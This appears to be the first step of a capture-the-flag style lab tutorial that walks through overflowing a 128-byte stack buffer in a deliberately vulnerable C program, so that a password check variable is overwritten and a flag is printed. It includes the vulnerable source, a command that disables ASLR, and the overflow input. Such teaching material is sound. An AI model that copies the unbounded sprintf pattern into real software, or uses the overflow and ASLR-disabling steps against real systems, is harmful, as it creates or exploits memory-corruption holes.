Memory Corruption Exploit1

Step 1 – Variable overflow

In all three challenges you are going to exploit memory corruption vulnerabilities in the program mmchallenge.First, download the following ZIP file to your Hacking Lab Live CD, extract, and type make:

challenge

Second, make sure you disable ASLR by entering the following line (after every reboot):

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

This is the code of the binary with the vulnerabilities we are going to exploit:

mmchallenge.c:

#include <stdio.h>
#include <stdlib.h>
#include <crypt.h>
#include <string.h>

const char *adminHash = "$6$saaaaalty$cjw9qyAKmchl7kQMJxE5c1mHN0cXxfQNjs4EhcyULLndQR1wXslGCaZrJj5xRRBeflfvmpoIVv6Vs7ZOQwhcx.";

int checkPassword(char *password) {
    char *hash;
    hash = crypt(password, "$6$saaaaalty");

    if (strcmp(hash, adminHash) == 0) {
        return 1;
    } else {
        return 0;
    }
}

void flag1(void) {
        char buf[512];
        FILE *fp;
        printf("You are admin!\n");
        fp = fopen("flag1.txt", "r");
        fgets(buf, 511, (FILE *) fp);
        printf("Flag1: %s\n", buf);
        fclose(fp);
}
void flag2(void) {
        char buf[512];
        FILE *fp;
        printf("You are superadmin!\n");
        fp = fopen("flag2.txt", "r");
        fgets(buf, 511, (FILE *) fp);
        printf("Flag2: %s\n", buf);
        fclose(fp);
}
/* void flag3(void) {
   ...
   fp = fopen("flag3.txt", "r");
   ...
}*/

void handleUser(void) {
        printf("You are NOT admin.\n");
}

void handleData(char *password) {
    int isAdmin = 0;
    char msg[128];

    isAdmin = checkPassword(password);
    sprintf(msg, "Password: %s", password);

    printf("IsAdmin: 0x%lx\n", isAdmin);

    if(isAdmin) {
        flag1();
    } else {
        handleUser();
        printf("%s\n", msg);
    }
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Call: %s <password>\n", argv[0]);
        exit(0);
    }
    handleData(argv[1]);
}

Understanding the code

The relevant part is the function handleData(). If the password given as argument is correct, it will execute flag1(). If not, it will execute handleUser().

void handleData(char *password) {
    int isAdmin = 0;
    char msg[128];

    isAdmin = checkPassword(password);
    sprintf(msg, "Password: %s", password);

    printf("IsAdmin: 0x%lx\n", isAdmin);

    if(isAdmin) {
        flag1();
    } else {
        handleUser();
        printf("%s\n", msg);
    }
}

The argument of the program is copied into a stack buffer msg of 128 byte size. Lets execute the program with normal length string, and with a wrong password:

./mmchallenge password
IsAdmin: 0x0
You are NOT admin.
Password: password

The password „password“ seems to be not correct, as the program tells us „You are not admin“.

Calling it with the correct password:

# ./mmchallenge <...>
IsAdmin: 0x1
You are admin!
Flag1: <flag1>

With the correct password, „You are admin!“ is printed. isAdmin has the value 0x1.

What happens when you insert a string which is longer than 128 bytes? Lets try it. We can use python to print 132 characters:

# ./mmchallenge `python -c 'print "A"*132'`
IsAdmin: 0x41414141
You are admin!
Flag1: flag-1

Seems we are admin! It also printed our first flag – and isAdmin is 0x41414141.

This is, because we overflown msg[128] with AAA...AAA – and it overflowed into the variable isAdmin – which is further DOWN the stack, which means it is further UP in memory.

void handleData(char *password) {
    int isAdmin = 0; // 4-byte "AAAA" = 0x41414141
    char msg[128];  // AAA...